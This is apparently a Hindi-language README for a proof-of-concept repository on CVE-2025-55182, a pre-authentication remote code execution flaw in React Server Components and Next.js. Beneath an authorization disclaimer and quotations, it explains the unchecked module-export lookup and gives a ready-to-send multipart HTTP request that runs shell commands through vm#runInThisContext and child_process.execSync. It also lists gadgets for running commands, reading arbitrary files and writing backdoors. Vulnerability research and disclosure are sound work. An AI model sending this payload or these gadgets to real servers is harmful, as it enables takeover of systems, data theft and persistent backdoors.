
एकीकृत सुरक्षा अनुसंधान उपकरण
schema.cx द्वारा सुरक्षा अनुसंधान
"नियंत्रण एक भ्रम है। यह वे सिस्टम हैं जिन्हें हम बनाते हैं जो हमें नियंत्रित करते हैं—जब तक कि हम उन्हें पहले नहीं समझते।"
यह टूल केवल अधिकृत सुरक्षा परीक्षण के लिए है
रुकें। आगे बढ़ने से पहले इसे पढ़ें।
इस रिपॉजिटरी में एक क्रिटिकल सुरक्षा भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट कोड शामिल है। इस रिपॉजिटरी में किसी भी सामग्री तक पहुँच, डाउनलोड या उपयोग करके, आप निम्नलिखित को स्वीकार करते हैं और सहमत होते हैं:
लिखित प्राधिकरण आवश्यक: किसी भी सुरक्षा परीक्षण से पहले आपके पास सिस्टम स्वामी से स्पष्ट, लिखित अनुमति होनी चाहिए। मौखिक समझौते पर्याप्त नहीं हैं।
दायरे की सीमाएँ: परीक्षण केवल आपके प्राधिकरण में स्पष्ट रूप से सूचीबद्ध सिस्टम तक सीमित होना चाहिए। "स्कोप क्रीप" की अनुमति नहीं है।
लागू कानून: कंप्यूटर सिस्टम तक अनधिकृत पहुँच निम्नलिखित का उल्लंघन करती है:
इस रिपॉजिटरी के लेखक और योगदानकर्ता:
"सवाल यह नहीं है कि क्या हम भेद्यता का शोषण कर सकते हैं। सवाल यह है कि क्या हमें करना चाहिए, और किस उद्देश्य के लिए।"
CVE-2025-55182 एक क्रिटिकल प्री-ऑथेंटिकेशन रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता है जो React 19.x और Next.js 15.x-16.x अनुप्रयोगों में React सर्वर कंपोनेंट्स को प्रभावित करती है।
यह भेद्यता किसी भी अनप्रमाणित हमलावर को, जिसके पास भेद्य अनुप्रयोग तक नेटवर्क पहुँच है, सर्वर पर मनमाने कमांड निष्पादित करने की अनुमति देती है। हमले के लिए कोई क्रेडेंशियल, कोई उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं है, और इसे पूरी तरह से स्वचालित किया जा सकता है। सफल शोषण से निम्नलिखित होता है:
| मेट्रिक | रेटिंग |
|---|---|
| CVSS v3.1 बेस स्कोर | 10.0 क्रिटिकल |
| अटैक वेक्टर | नेटवर्क |
| अटैक जटिलता | कम |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता इंटरैक्शन | कोई नहीं |
| प्रभाव (C/I/A) | उच्च / उच्च / उच्च |
"लोग सिस्टम पर भरोसा करते हैं क्योंकि वे उन्हें समझते नहीं हैं। वह भरोसा ही एक भेद्यता है।"
यह भेद्यता requireModule फ़ंक्शन के भीतर React के Flight प्रोटोकॉल कार्यान्वयन में मौजूद है। यह फ़ंक्शन यह सत्यापित किए बिना कि अनुरोधित प्रॉपर्टी मॉड्यूल की अपनी प्रॉपर्टी है, उपयोगकर्ता-नियंत्रित इनपुट के आधार पर मॉड्यूल एक्सपोर्ट तक पहुँचने के लिए ब्रैकेट नोटेशन का उपयोग करता है।
भेद्य कोड स्थान:
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Function: requireModule (approximately line 2546-2558 in v19.0.0)
भेद्य पैटर्न:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... async handling ...
return moduleExports[metadata[2]]; // ← VULNERABLE: No hasOwnProperty check
}
यह हमला JavaScript की प्रोटोटाइप चेन ट्रैवर्सल का लाभ उठाता है:
$ACTION_0:0 फ़ील्ड में हमलावर-नियंत्रित id (module#export प्रारूप) और bound (तर्क) प्रॉपर्टी वाला JSON होता हैconstructor जैसे एक्सपोर्ट निर्दिष्ट करके या प्रोटोटाइप प्रॉपर्टीज़ तक पहुँच कर, हमलावर अंतर्निहित Node.js मॉड्यूल्स का संदर्भ ले सकते हैंvm.runInThisContext, child_process.execSync, या fs.readFileSync जैसे फ़ंक्शन हमलावर-आपूर्ति तर्कों के साथ निष्पादित होते हैंHTTP POST /formaction
↓
decodeAction(formData, serverManifest)
↓
loadServerReference(manifest, value.id, value.bound)
↓
resolveServerReference(config, id) // Parses "module#export" format
↓
requireModule(metadata)
↓
moduleExports[metadata[2]] // Prototype chain access → RCE
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--
| गैजेट | मॉड्यूल | विवरण | प्रभाव |
|---|---|---|---|
vm#runInThisContext | vm | वर्तमान कॉन्टेक्स्ट में JS निष्पादित करें | प्रत्यक्ष RCE |
vm#runInNewContext | vm | सैंडबॉक्स में JS निष्पादित करें (बचने योग्य) | प्रत्यक्ष RCE |
child_process#execSync | child_process | शेल कमांड निष्पादित करें | प्रत्यक्ष RCE |
child_process#spawnSync | child_process | प्रोसेस स्पॉन करें | प्रत्यक्ष RCE |
fs#readFileSync | fs | मनमानी फ़ाइलें पढ़ें | डेटा एक्सफ़िल्ट्रेशन |
fs#writeFileSync | fs | मनमानी फ़ाइलें लिखें | पर्सिस्टेंस/बैकडोर |
module#_load | module | JS मॉड्यूल लोड करें (2-चरणीय RCE) | अप्रत्यक्ष RCE |
"हर सिस्टम का एक दरवाज़ा होता है। सवाल यह है कि क्या आपने ताला खुद बनाया है—या इसे किसी ऐसे व्यक्ति से विरासत में पाया है जिसने कभी आगंतुकों की उम्मीद नहीं की थी।"
| उत्पाद | भेद्य संस्करण | पैच किए गए संस्करण |
|---|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1+, 19.1.2+, 19.2.1+ |
| Next.js | 15.x, 16.x (भेद्य React का उपयोग करते हुए) | पैच किए गए React वाले संस्करण |